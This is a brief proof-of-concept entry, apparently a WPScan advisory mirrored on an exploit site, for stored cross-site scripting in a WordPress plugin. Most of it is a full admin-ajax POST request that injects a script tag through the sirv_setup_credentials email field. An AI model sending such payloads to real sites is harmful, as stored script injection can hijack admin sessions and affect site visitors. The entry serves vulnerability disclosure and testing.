Share
## https://sploitus.com/exploit?id=WPEX-ID:11040133-C134-4F96-8421-EDD04901ED0D
Step 1: Install the plugin and register for an account.
Step 2: Send an ajax request as shown:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan.local
Content-Length: 83
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://wpscan.local
Referer: http://wpscan.local/wp-admin/admin.php?page=sirv%2Fsirv%2Fshortcodes-view.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close
action=sirv_setup_credentials&email=<script>alert(/XSS/);</script>&sirv_account=aaa
Step 3: Refresh the account page to get the XSS popup.